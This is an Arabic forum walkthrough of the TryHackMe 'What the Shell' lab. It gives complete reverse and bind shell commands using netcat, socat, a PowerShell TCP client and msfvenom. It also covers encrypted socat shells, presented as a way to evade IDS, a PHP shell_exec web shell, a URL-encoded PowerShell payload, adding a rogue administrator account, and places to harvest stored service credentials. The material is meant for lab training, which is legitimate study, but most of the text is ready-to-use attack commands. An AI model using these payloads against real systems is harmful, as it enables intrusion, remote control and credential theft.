مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

[ WalkTh ] ما هو الـ Shells القوة الخفية والتحكم الكامل في الأنظمة ـ ( ?What the Shell )

introtoshells.png


الـ shells
0741ea184b13423cdc35c13147cf930b.png
راح نركز على الأمور التالية :

1 . ماذا يعني shell وأنواعه وأمثله عليهم
2 . الـ Netcat Shell واستقرارها والـ Socat Shell وتشفير الـ shells
3 . الـ Shell Payloads
4 . الـ msfvenom والـ multi/handler

5 . الـ Web Shells
6. امثله على linux و windows


الاسئلة من TryHackMe | What the Shell



ماذا يعني shell وانواعه وأمثله عليهم
الـ shell هو عبارة عن طريقة للتحكم في جهاز حاسوب عن بُعد، يعني لما بتدخل على جهاز حاسوب من جهاز ثاني وبتستخدمه بدون ما تكون قريب منه
بإمكانك تشغل الـ shell عن طريق برامج مثل bash أو sh وفي ويندوز بكونو على شكل برامج زي cmd.exe و Powershell
احيانا لما تهاجم جهاز حاسوب عن بُعد بإمكانك تجبر برنامج بشتغل على السيرفر (مثل خادم ويب) أنو ينفذ أوامر عشوائية وهاي فرصة ممكن تستخدمها للحصول على الـ shell يعني تفتح لنفسك نافذة عشان تتحكم في جهاز مستهدف


ببساطة بنقدر نجبر السيرفر البعيد إما يرسللنا وصول لسطر الأوامر على السيرفر ( reverse shell ) أو يفتح منفذ على السيرفر بنقدر نتصل فيه عشان ننفذ أوامر أخرى ( bind shell )


مجموعة من الأدوات اللي بتساعدنا ناخذ reverse shell ونبعث bind shell

الـ
Netcat :
هي الأداة التقليدية اللي ممكن نحكي عنها إنها سويسرا الشبكات ( بنهّف:)) بشير انها أداة متعددة الاستخدامات ومتعددة الوظائف
بتستخدم لعمل كل شيء في التواصل على الشبكات
المهم فيها انها بتقدر تستقبل reverse shell وتتصل بمنافذ بعيدة على الأجهزة المستهدفة لعمل bind shell لكن الشل اللي بتنولد بالـ Netcat عادة مش مستقرة (سهلة تفقدها) بشكل افتراضي بس ممكن تتحسن باستخدام تقنيات راح نتكلم فيها لاحقًا


الـ Socat :
بتقدر تعمل كل الحركات اللي بتعملها الـ Netcat وأكثر والـ shell اللي بتنولد بالـ Socat عادة أكثر استقرار من الـ Netcat
الـ Socat أفضل من الـ Netcat بشكل كبير
بس فيها مشكلتين :
  • الصيغة الخاصة فيها أصعب
  • الـ Netcat موجودة في كل توزيعات لينكس تقريبًا بشكل افتراضي، بينما الـ Socat نادرًا ما تكون مثبتة افتراضيًا
في حلول لكل الأمور هاي بنحكي عنهم كمان شوي
كلاً من الـ Netcat والـ Socat فيهم نسخ exe. للاستخدام على ويندوز


الـ Metasploit -- multi/handler :
الـ exploit/multi/handler في إطار Metasploit
زي الـ Netcat والـ Socat يستخدم لاستقبال reverse shell بسبب إنه جزء من إطار Metasploit الـ multi/handler بوفر طريقة كاملة لاستقبال الـ shell بشكل مستقر مع مجموعة متنوعة من الخيارات لتحسين الـ shell اللي تم التقاطه + هو الطريقة الوحيدة للتفاعل مع الشل meterpreter وهو أسهل طريقة للتعامل مع الـ payloads



الـ Msfvenom :

الـ msfvenom فنياً جزء من إطار Metasploit بس هي عبارة عن أداة مستقلة تستخدم لتوليد payloads بينما الـ msfvenom بقدر يولد payload غير reverse shell و bind shell

بجانب الأدوات اللي حكينا عنها في مخازن للـ shells في لغات كثيرة وحدة من أهم الـ shell هي Payloads all the Things وفي كمان Cheatsheet مشهورة

وايضا Kali Linux بيجي معاه مجموعة من الـ shells مثبتة مسبقاً في usr/share/webshells
مستودع SecLists بالرغم من أنه بشكل أساسي يستخدم لقوائم الكلمات برضه بحتوي على بعض الكود's المفيدة جدًا للحصول على الـ shell



انواع الـ shell


1. الـ reverse shell هو عند إجبار الهدف على تنفيذ كود يتصل بجهازك ويعتبر الأكثر شيوعًا
على جهازك بتستخدم أحد الأدوات اللي ذكرناها قبل لإعداد مستمع يُستخدم لاستقبال الاتصال

ميزتها // انها طريقة جيدة لتجاوز قواعد جدار الحماية التي قد تمنعك من الاتصال بمنافذ عشوائية على الهدف
سلبيتها // هو أنه عند استقبال شل من جهاز عبر الإنترنت بتحتاج لتكوين شبكتك الخاصة لقبول الشل ( تفتح منفذ على جهازك عشان تستقبل الاتصال القادم من الهدف )

2. الـ bind shell هو لما نستخدم كود معين يتم تنفيذه على الهدف لبدء استماع ( مرتبط بشل مباشرة على الهدف )
بعدها بتقدر تتصل بالمنفذ اللي فتحه الكود والحصول على remote code execution بهاي الطريقة

ميزتها انها ما بتحتاج تفتح بورت او تكون شبكتك لاي اشي لكن سلبيتها انه قد يتم منعها من قبل جدران الحماية اللي بتحمي الهدف



مثال على الـ reverse shell




عندنا المستمع - هاد اللي بستقبل الاتصال ( بنكتبه على جهازنا )
كود:
sudo nc -lvnp 443

وعندنا هون بالصوره محاكاة لإرسال reverse shell
ممكن يكون حقن الكود على موقع ويب عن بعد او اي شي زي هيك
عندنا الامر ( بنكتبه على جهاز الهدف )
كود:
nc <LOCAL-IP> <PORT> -e /bin/bash
بنحط ip جهازنا


بعد ما نشغل الأمر بستقبل المستمع اتصال

مشاهدة المرفق 9097



مثال على الـ bind shell


عندنا المستمع - ( بنكتبه على جهاز الهدف )

كود:
nc -lvnp <port> -e  /bin/bash

مشاهدة المرفق 9100


عندنا الامر ( بنكتبه على جهازنا )
كود:
nc <TARGET_IP> <PORT>
بنحط ip الجهاز المستهدف


بعد ما نشغل الأمر بنستقبل اتصال




يمكن أن تكون الـ shell تفاعلية أو غير تفاعلية


تفاعلية : إذا كنت قد استخدمت Powershell أو Bash أو Zsh أو sh أو أي بيئة واجهة سطر الأوامر القياسية الأخرى
بتسمحلك هاي بالتفاعل مع البرامج بعد تنفيذها مثلا
تسجيل الدخول SSH :

0ayLj8L.png

هون بنشوف أنها بتطلب بشكل تفاعلي من المستخدم كتابة نعم أو لا لمتابعة الاتصال هاد برنامج تفاعلي بتطلب shell تفاعلي لتشغيله


غير التفاعلية : بتستخدم البرامج اللي ما بتتطلب تفاعل المستخدم لتشغيلها بشكل صحيح
معظم الـ reverse shell والـ bind shell هي غير تفاعلية مما قد يجعل استغلالها أصعب




لاحظ
أن أمر whoami ( الذي هو غير تفاعلي ) يُنفَّذ بشكل مثالي
لكن أمر SSH ( الذي هو تفاعلي ) لا يعطينا أي إخراج على الإطلاق

rXyEDKU.png










الـ Netcat Shell واستقرارها والـ Socat Shell المشفرة




لكن راح نركز الان على الـ shells

الـ Reverse Shells


الـ Reverse Shells : في السابق شفنا أن الـ Shell بتتطلب shellcode وlistener وفي عديد من الطرق لتنفيذ الـ Shell
صيغه الـ listener
كود:
nc -lvnp <رقم البورت>



الـ Bind Shells


الـ Bind Shells : بالحاله هاي بنفترض أنه في listener بانتظارنا على بورت محدد للهدف : كل ما علينا نعمله هو نتصل فيه

الصيغة للضحية :

كود:
nc <عنوان الهدف> <البورت المختار>
زي ما اخذنا بالمثال اللي قبل







استقرار الـ Shell

بعد ما نتصل عن طريق الـ Shell شو الخطوة الجاية؟

الـ Shell هاي ما بتستقر أبدًا بشكل طبيعي لما نضغط Ctrl + C بتقفل كل شيء ما بتكون تفاعلية وغالبًا فيها أخطاء غريبة في التنسيق
السبب إنه الـ Shell في الـ Netcat في الحقيقة هي عمليات بتشتغل جوا التيرمينل في طرق كثيرة لاستقرار الـ Shell في أنظمة لينكس

رح نحكي عن ثلاث طرق
استقرار الـ Reverse Shells على ويندوز بكون أصعب بس الطريقة الثانية اللي رح نحكي عنها بتكون مفيدة خصوصًا لهيك حالات


الطريقة الأولى : بايثون

هي عملية مراحل :

أول شيء لازم نعمله نستخدم
Python:
python -c 'import pty;pty.spawn("/bin/bash")'

اللي بستخدم بايثون عشان يولّدلنا bash shell اللي فيه ميزات أفضل لاحظ إنه بعض الأهداف بتحتاج إصدار معين من البايثون python2 أو python3
بهاي النقطة بتكون الـ shell أفضل شوي بس ما رح نقدر نستخدم التاب أو الأسهم والـ Ctrl + C لسا بتقفل كل شيء

ثاني شيء بنستخدم
Python:
export TERM=xterm
هاد رح يعطينا إمكانية نستخدم أوامر التيرمينل مثل clear

ثالث شيء
بنحط
الـ shell بالخلفية باستخدام Ctrl + Z

رابع شيء
بنرجع للتيرمينل وبنستخدم

Python:
stty raw -echo; fg

هاد الامر بعمل شغلتين :
بوقف الـ Terminal echo الخاص بنا (اللي بعطينا إمكانية استخدام التاب أو الأسهم والـ Ctrl + C لقتل العمليات ) ( لن يظهر أي مدخلات من المستخدم على الشاشة أثناء كتابتها )
وبخلي الـ shells بالأمام وهيك بتكون العملية كاملة


لو الشل تعطل اكتب reset


bQnFz1T.png





الطريقة الثانية: rlwrap
هو برنامج بساعدنا نستخدم الـ shell بشكل أفضل بعطينا أشياء زي تاريخ الأوامر والتاب أتوكومبليشن ( اكمال الامر عند الظغط على Tab ) والقدرة على استخدام الأسهم على طول بدون مشاكل بس المشكلة إنه لما نحاول نضغط على Ctrl + C بالشل ما بتشتغل

الـ rlwrap مش مثبت افتراضياً على كالي يمكن تثبيته عن طريق الامر
كود:
sudo apt install rlwrap

عشان نستخدم rlwrap بنحطه قبل الأمر اللي بنشغل فيه الـ shell يعني بنكتب
كود:
rlwrap nc -lvnp <port>
بس هالمرة الشل بتكون أفضل وأكثر مراوغة

الفكرة كلها مفيدة خصوصاً لما نكون بنتعامل مع shells ويندوز اللي بالعادة بكونوا صعبين شوي



الطريقة الثالثة: Socat
راح نتوسع فيها بعد شوي
تعتبر محدودة للأهداف اللينكس , shell socat على ويندوز ما رح يكون أكثر استقرارًا من shell netcat
لتنفيذ هاي الطريقة من التثبيت بنضيف أول شيء نسخة ثابتة من socat للجهاز الهدف
الطريقة عادية لتحقيق هاد الاشي بأننا نستخدم خادم ويب
كود:
sudo python3 -m http.server 80
بعدها على جهاز الهدف بنستخدم الـ shell netcat لتحميل الملف على لينكس هاد بيتم بالـ curl أو
كود:
wget (wget <LOCAL-IP>/socat -O /tmp/socat)

لأجل الاكتمال في بيئة سطر الأوامر في ويندوز نفس الاشي يمكن عمله باستخدام الـ PowerShell بالاعتماد على Invoke-WebRequest أو فئة النظام لطلب الويب اعتمادًا على الإصدار من الـ PowerShell المثبت
كود:
Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe

من ناحيه التنسيق

أول شيء، افتح التيرمينل واكتب
كود:
stty -a
هاد رح يعطيك الإخراج بالقيم للـ rows والـ columns

بعدين، في شل الاستقبال أو الارتباط الخاصه فينا بنكتب :

كود:
stty rows <number>

و

كود:
stty cols <number>

حط الأرقام اللي حصلت عليها من تنفيذ الأمر في تيرمينل الخاصه فيك

هاد رح يغيّر العرض والارتفاع المسجل للتيرمينل وهيك بسمح لبرامج متل محررات النصوص اللي بتعتمد على هيك معلومات يتم فتحها بشكل صحيح








الـ Socat وتشفير الـ shells

الـ Socat بتشبه الـ Netcat
الطريقة الأسهل اننا نمثل فيها الـ Socat إنها بتوصل بين نقطتين
النقطة الأولى بتكون البورت اللي بنستمع عليه والنقطة الثانية الكيبورد , ممكن تكون نقطة الوصل بين بورت وملف وحتى بين بورتين
بالبساطة هاي الـ Socat بقدم رابط بين نقطتين



الـ Reverse Shells

زي ما حكينا قبل الصيغة للـ Socat أصعب بكتير من الـ Netcat

الصيغه للإستماع بالـ Reverse shell :

كود:
socat TCP-L:<رقم بورت> -

مشاهدة المرفق 9130

زي ما بنعرف إن الـ Socat بوصل نقطتين مع بعض النقطتين هدول بورت الإستماع والـ input وبوصل بينهم الـ shell الناتج مش مستقر بس شغال على لينكس وويندوز


على ويندوز بنستخدم الأمر هاد عشان نرجع :

كود:
socat TCP:<الآيبي-المحلي>:<البورت-المحلي> EXEC:powershell.exe,pipes

الـ pipes بنستخدمها عشان نجبر powershell (أو cmd.exe) يستخدم الـ standard input and output على طريقة Unix

والأمر المعادل اذا كان الهدف لينكس :

كود:
socat TCP:<الآيبي-المحلي>:<البورت-المحلي> EXEC:"bash -li"



الـ Bind Shells

الصيغه اللي المهاجم
كود:
socat TCP:<TARGET-IP>:<TARGET-PORT> -

الصيغه للضحية على لينكس
كود:
socat TCP-L:<PORT> EXEC:"bash -li"

الصيغه للضحية على ويندوز
كود:
socat TCP-L:<البورت> EXEC:powershell.exe,pipes




أقوى استخدامات Socat : الـ tty reverse shell لانها تعتبر أكثر استقرارًا ( على الهدف نظام لينكس )

حكينا قبل عن الأداة انها متعددة الإستخدامات بشكل كبير بس التقنية هاي من أهم استخداماتها

الصيغة للـ listener :

كود:
socat TCP-L:<port> FILE:`tty`,raw,echo=0


زي ما بنعرف إن الـ Socat بوصل نقطتين مع بعض النقطتين النقطتين هدول هم بورت للإستماع وملف
معظم الأجهزة ما بتيجي مع Socat مثبتة بشكل افتراضي بس ممكن تنزل برنامج Socat مترجم precompiled socat وبعدين بتشغله عادي

الأمر :

socat TCP:<آيبي-المهاجم>:<البورت-المهاجم> EXEC:"bash -li",pty,stderr,sigint,setsid,sane


الجزء الأول سهل -- بنتصل بالليستنر اللي شغال على الجهاز الخاص فينا
الجزء التاني من الأمر بعمل جلسة باش تفاعلية بالباش مع "EXEC:"bash -li

الـ pty بخصص تيرمينال مزيفه خاصه بالهدف
الـ stderr عشان يظهر أي رسائل خطأ في الـ shell (غالبًا مشكلة في shells الغير تفاعلية)
الـ sigint بمرر أي أوامر Ctrl + C للعملية الفرعية فـ بنقدر نوقف الأوامر جوا الـ shell
الـ setsid
بنشئ العملية في جلسة جديدة
الـ sane بثبت التيرمينال وبحاول يجعله normalise قدر الإمكان


لاحظ أن الـ shell بالـ Socat متفاعل , له القدرة على استخدام أوامر تفاعلية زي الـ SSH

لو شيل الـ Socat ما بتشتغل صح بنقدر نضيف الامر عشان نزود الدقة بإضافة d -d- للأمر




تشفير الـ shells


في شغله حلوه بـ Socat إنك بتقدر تخلي الـ shells مشفرة يعني ما حد بقدر يتجسس عليها إلا لو عندو مفتاح التشفير وكمان بتقدر تتجاوز نظام الكشف عن الاختراقات (IDS) لأنها مشفرة

الفرق عن قبل كل مرة بنستخدم TCP لازم نغيرها ونحط OPENSSL عشان تكون الـ shells مشفرة

قبل ما نبدا شرح عن الـ shells مشفرة لازم نحكي عن الشهادات
لازم نولّد شهادة عشان نستخدم الـ shells المشفرة
بإمكاننا نعمل هاد الاشي عن طريق الامر :

كود:
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

هاد الأمر بعمل مفتاح RSA بطول 2048 بت مع ملف شهادة وبتوقيع ذاتي وصالح لأقل من سنة

لما تشغّل هاد الأمر بطلب منك تعبي معلومات عن الشهادة بتقدر تخليها فاضية أو تعبيها عشوائي


بعدين لازم ندمج الملفين اللي عملناهم بملف واحد pem. عن طريق الامر :

كود:
cat shell.key shell.crt > shell.pem


لما نعمل reverse shell بنستخدم الامر هاد :
الصيغة للـ listener :
كود:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

هيك بنخلي listener مشفر باستخدام الشهادة اللي عملناها
verify=0 معناها إنو ما في داعي يحاول يتحقق إذا كانت الشهادة صحيحة أو لأ , لازم تعرف إنه الشهادة لازم تستخدم على الجهاز اللي بكون عليه الاستماع

وبالنسبة للاتصال الراجع بنستخدم الامر :

كود:
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash


نفس التقنية بنطبقها على الـ bind shell :

على الهدف بنستخدم الامر :

كود:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:"/bin/bash",pipes

على جهازي المهاجم :

كود:
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -


حتى لو كان الهدف ويندوز لازم نستخدم الشهادة مع الاستماع فبتحتاج تنسخ ملف PEM لعمل bind shell



استخدم المنفذ 53 وملف PEM المسمى "encrypt.pem"
البناء للمطوب بدون تشفير هو
كود:
socat TCP-L:53 FILE:`tty`,raw,echo=0





البناء للمطوب بدون تشفير هو
كود:
socat TCP:10.10.10.5:53 EXEC:"bash -li"،pty،stderr،sigint،setsid،sane




الـ Shell Payloads

راح نحكي عن بعض الأدوات والتقنيات اللي بتستخدم في اختراق الأنظمة أشياء مثل الـ بايلود's اللي هي عبارة عن برمجية تستخدم في اختراق الأنظمة

سبق وحكينا عن الـ Netcat

وبـ الويندوز ما يحتوي على خواص معينه

مثل هذا
كود:
nc <LOCAL-IP> <PORT> -e /bin/bash

بس هذا الأمر بشتغل على الويندوز :
الأمر هاد للـ listener
كود:
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f



والأمر هاد يستخدم لعمل ريفيرس شيل :

كود:
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

لكن لو كنت بتستهدف نظام ويندوز حديث بتحتاج ريفيرس شيل عبر باورشيل وهذا ألامر مفيد جداً :

كود:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

بمجرد ما تنفذ هذا الأمر راح تتحكم في النظام اللي حطيت عنوانه الآي بي والبورت الخاص فيه

من المثال المعطى

T6o7kOL.png


موقع PayloadsAllTheThings فيه كم هائل من البايلود's المختلفة بأكثر من لغة







الـ msfvenom والـ multi/handler
سبق وحكينا عن الـ Msfvenom



وكمان بقدر ينشئ بايلود's بصيغ مختلفة زي exe. و aspx. و war. و py.

استخدام الـ msfvenom بالشكل الصحيح هو :
كود:
msfvenom -p <PAYLOAD> <OPTIONS>

مثلا لو بدنا ننشئ revers shell على نظام ويندوز 64 بت بصيغة exe بنستخدم الامر هاد :
كود:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

في نوعين من البايلود's اللي هما staged و stageless
  1. Staged payloads : هذا النوع من الـ shell's يتم إرساله بجزئين ( الاشاره اللي بتدل انو البايلود هيك هي ( / ) )
    الجزء الأول بتصرف كمدخل صغير للهدف بس هو ما فيه كود للـ shell بنفسه , يستخدم الجزء الأول للاتصال بالجهاز اللي بنستخدمه لاستقبال الشلة و
    الجزء الثاني هو الـ shell الحقيقية اللي يتم تنفيذها على الجهاز المستهدف الهدف من هاد التقسيم إنو يمنع اكتشاف الـ shell من قبل برامج مكافحة الفيروسات
  2. Stageless payloads : هذا النوع من الشلات بكون كامل بذاته يعني ما فيه جزء مقسم هاي الـ shell أسهل بالاستخدام ولكنها أكبر حجمًا وأكثر تعرضًا للاكتشاف من قبل برامج مكافحة الفيروسات الاشاره اللي بتدل انو البايلود هيك هي ( _ )

أسماء البايلود's في msfvenom

النظام الأساسي لإسماء البايلود's هو :

<نظام التشغيل>/<arch>/<البايلود's>

مثلاً:

كود:
linux/x86/shell_reverse_tcp

الامر هاد بنشئ revers shell TCP لنظام Linux بنوع الـ arch هي x86

الاستثناء من القاعدة هاي هو للأهداف على الويندوز 32بت فيها لا يتم تحديد نوع الـ arch مثال:

كود:
windows/shell_reverse_tcp

بالنسبة لهدف ويندوز 64بت بتحدد نوع الـ arch

البايلود's
اللي بتحتوي على underscore ( _ ) بتكون stageless يعني ما فيها مراحل أما
البايلود's اللي فيها forward slash (/) فهي staged

وبنطبق ايضا على حمولات بايلود's الـ meterpreter لهدف ويندوز ـ 64بت :

كود:
windows/x64/meterpreter/reverse_tcp

وبالنسبة بايلود's الـ meterpreter لهدف Linux ـ 32بت :

كود:
linux/x86/meterpreter_reverse_tcp

في عننا الامر
كود:
msfvenom --list payloads

بعرضلنا كل البايلود's المتاحة وبتقدر تستخدمه مع grep عشان تبحث عن بايلود's معينة من الحمولات مثال :

كود:
msfvenom --list payloads | grep linux/x86/meterpreter

هذا بعطينا مجموعة كاملة من بايلود's الـ meterpreter لأهداف Linux بـ arch ـ 32بت







الـ multi/handler
الـ Multi/Handler : أداة رائعة جدًا لأتقاط reverse shells

طريقه استخدامها
  1. افتح Metasploit بـ msfconsole
  2. اكتب use multi/handler واضغط Enter
هيك إحنا جاهزين نبدأ session لـ multi/handler
الخيارات المتاحة باستخدام الأمر options :
في ثلاث خيارات لازم نعدل عليها الـ payload والـ LHOST والـ LPORT

هدول كلهم زي اللي بنعملهم لما بنولد shell باستخدام Msfvenom - payload محدد للهدف وعنوان ومنفذ الاستماع بنقدر نستقبل منه الـ shell

كيف نعدل هاي الخيارات عن طريق الاوامر التاليه :
كود:
set PAYLOAD <payload>
set LHOST <ip عنوان الـ >
set LPORT <البورت>

qIr6o2B.png

هيك احنا جاهزين لالتقاط اي اتصال

بنقدر نشغل الـ listener عن طريق الامر التالي
exploit
او
run

او ممكن نستخدم الامر
exploit -j
معناه يشغل الـ listener كـ job في الخلفية

بنقدر نشوف اذا في عننا اي session شغاله حاليا عن طريق امر sessions وبعدها بنقدر نخليها بالمقدمه عن طريق الامر ( رقم sessions -i ) عشان نختار الـ session اللي بدنا اياها عن طريق الامر
( رقم sessions )









الـ Web Shells و ما بعد الاستغلال


الـ Web Shells ببساطة بشتغل جوا الويب سيرفر (عادة بلغات زي PHP أو ASP) اللي بينفذ كود على السيرفر
في الأساس بنكتب الأوامر في صفحة الويب - إما عن طريق فورم HTML أو مباشرة في الـ URL - والبرنامج بنفذ الأوامر هاي وبرجعلنا النتيجة وبكتبها على الصفحة

الـ PHP هي أكثر لغة scripting مستخدمة على السيرفرات

مثال بشكل بسيط :


كود:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

الكود هاد بوخد باراميتر GET من الـ URL وبنفذه على النظام باستخدام ()shell_exec
يعني أي أوامر بنكتبها بالـ URL بعد =cmd? بتتنفذ على النظام - سواء كان ويندوز أو لينكس , العنصر pre بضمن إن النتائج تتنسق بشكل صحيح على الصفحة

W19gHwL.png


زي ما هو مبين بالصوره استخدمنا الأمر ifconfig اللي رجع معلومات الشبكة صح يعني لما دخلنا أمر ifconfig (اللي بشيك على واجهات الشبكة في لينكس) في الـ URL الخاص بالـ shell اللي دخلناه نفذ الامر على النظام ورجعلنا النتائج واكيد لو جربنا اوامر ثانيه بتشتغل زي (whoami، hostname، arch، إلخ)

في مجموعه من الـ shell موجوده في لينكس بشكل تلقائي زي ما حكينا قبل بهاد المسار /usr/share/webshells - منها الـ PentestMonkey php-reverse-shell اللي يعتبر مشهور مكتوب بلغة PHP معظم الـ revers shells مكتوبة لأهداف معينه مثل اهداف مبنية على يونيكس زي لينكس...الخ لكن ما بشتغلو على ويندوز بشكل افتراضي

لما الهدف يكون ويندوز أسهل طريقة عشان نحصل على RCE هي استخدام Web Shells أو باستخدام msfvenom لتوليد revers/bind shell بلغة السيرفر
بالطريقة الأولى عشان نحصل على تنفيذ عن بُعد بنعملها عن طريق shell powershell مشفرة في الـ URL هاد بنتسخ بالـ URL كـ argument تحت اسم cmd :

كود:
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22



هاي نفس الشل اللي سبق واعطينا عنها مثال قبل بالموضوع الـ Shell Payloads بس هون مشفرة بشكل مُناسب لتستخدم في باراميتر GET واكيد الآي بي والبورت لسا لازم يتغير في الكود



ما بعد الاستغلال:
تقنيات الوصول والتحكم في النظام

ببعض الاختراقات بتقدر تضيف حسابك بنفسك مثلا شيء مثل Dirty C0w أو امكانية كتابة في الملفات etc/shadow/ أو etc/passwd/ بعطيك وصول SSH سريع للجهاز طبعاً بشرط إن الـ SSH مفتوح

على ويندوز الخيارات عادةً بتكون محدودة أكثر ببعض الأحيان بتقدر تحصل على كلمات السر للخدمات اللي شغالة في السجل مثلاً سيرفرات VNC عادة بتخلي كلمات السر في السجل مخزنة على طول بعض إصدارات سيرفر FTP FileZilla كمان بتترك بيانات الولوج في ملف XML في C:\Program Files\FileZilla Server\FileZilla Server.xml أو C:\xampp\FileZilla Server\FileZilla Server.xml هاي البيانات بتكون إما عبارة عن تشفير MD5 أو بنص مفتوح

في العادة على ويندوز الهدف هو تحصيل shell يشتغل تحت مستخدم SYSTEM أو حساب الـ administrator في مثل هاي الحالات بإمكانك ببساطة إضافة حسابك كـ administrator وبعدها تسجل دخول عن طريق RDP,Telnet ، winexe ، psexec ، WinRM أو أي طريقة ثانية

الأوامر لهاي الشي هي كالتالي:

كود:
net user <كلمة_السر> <اسم_المستخدم> /add

كود:
net localgroup administrators <اسم_المستخدم> /add




امثله على linux و windows

قم تنفيذ الخطوات التاليه
  1. رفع شل الويب على الصندوق اللينكس :
    • انتقل إلى مسار الملف /usr/share/webshells/php/
    • قم بتعديل ملف php-reverse-shell.php لتتوافق عنوان الآي بي والبورت مع عنوانك الحالي والبورت المخصص
    • رفع الملف المعدل على الويب سيرفر باستخدام أي أسلوب تحميل ملفات
  2. تشغيل شيل PHP واختباره :
    • انشئ مستمع Netcat على جهازك للتحقق مما إذا كان الشيل المعدل يعمل أم لا
    • قم بتشغيل ملف PHP الذي رفعته على الويب سيرفر اللينكس
  3. تسجيل الدخول إلى الجهاز اللينكس عبر SSH :
    • استخدم الاعتماد المقدمة في المهمة لتسجيل الدخول إلى الجهاز اللينكس عبر SSH.
  4. استخدام تقنيات Netcat للتفاعل مع الجهاز :
    • جرب استخدام تقنيات Netcat لتفعيل الـ revers/bind shell واختبارها.
  5. استخدام Socat لإنشاء شيلات:
    • جرب استخدام Socat لإنشاء revers/bind shell واختبارها

linux
تسجيل الدخول عبر SSH
  • Username: shell
  • Password: TryH4ckM3!


للتجربه عليه
windows
تسجيل الدخول عبر RDP أو WinRM
  • Username: Administrator
  • !Password: TryH4ckM3
لتسجيل الدخول باستخدام RDP :
كود:
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:Administrator /p:'TryH4ckM3!'



نقوم بتنفيذ الخطوات السابقة

1. رفع الويب شيل على الصندوق اللينكس :
  • ابدأ بتسجيل الدخول إلى لينكس باستخدام بيانات الاعتماد المذكورة
  • انتقل إلى مسار الملف /usr/share/webshells/php/
  • قم بتعديل ملف php-reverse-shell.php لتتوافق عنوان الآي بي والبورت مع عنوانك الحالي والبورت المخصص
  • رفع الملف المعدل على الويب سيرفر باستخدام الموقع
2. تشغيل شيل PHP واختباره :
  • انشئ مستمع Netcat على جهازك للتحقق مما إذا كان الشيل المعدل يعمل أم لا
  • قم بتشغيل ملف PHP الذي رفعته على الويب سيرفر اللينكس
3. تسجيل الدخول إلى الجهاز اللينكس عبر SSH :
  • استخدم الاعتماد المقدمة في المهمة لتسجيل الدخول إلى الجهاز اللينكس عبر SSH


4. استخدام تقنيات Netcat للتفاعل مع الجهاز :
  • جرب استخدام تقنيات Netcat لتفعيل الـ revers/bind shell واختبارها.

زي ما سبق وحكينا

الصيغة للـ listener
كود:
nc -lvnp <رقم البورت>

الصيغة للضحية
كود:
nc <عنوان الهدف> <البورت المختار>





5. استخدام Socat لإنشاء شيلات :
  • جرب استخدام Socat لإنشاء revers/bind shell واختبارها

زي ما سبق وحكينا

للـ Revers shell

الصيغة للـ listener
كود:
socat TCP-L:<port> -
الصيغة للضحية
كود:
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

للـ Bind shell

الصيغه اللي المهاجم
كود:
socat TCP:<TARGET-IP>:<TARGET-PORT> -

الصيغة للضحية
كود:
socat TCP-L:<PORT> EXEC:"bash -li"


الـ Reverse shell
مشاهدة المرفق 9342


الـ Bind shell
مشاهدة المرفق 9382
الله يعطيك ألف عافية
وينفع فيك ويزيدك من علمه وفضله
 
introtoshells.png


الـ shells
0741ea184b13423cdc35c13147cf930b.png
راح نركز على الأمور التالية :

1 . ماذا يعني shell وأنواعه وأمثله عليهم
2 . الـ Netcat Shell واستقرارها والـ Socat Shell وتشفير الـ shells
3 . الـ Shell Payloads
4 . الـ msfvenom والـ multi/handler

5 . الـ Web Shells
6. امثله على linux و windows


الاسئلة من TryHackMe | What the Shell



ماذا يعني shell وانواعه وأمثله عليهم
الـ shell هو عبارة عن طريقة للتحكم في جهاز حاسوب عن بُعد، يعني لما بتدخل على جهاز حاسوب من جهاز ثاني وبتستخدمه بدون ما تكون قريب منه
بإمكانك تشغل الـ shell عن طريق برامج مثل bash أو sh وفي ويندوز بكونو على شكل برامج زي cmd.exe و Powershell
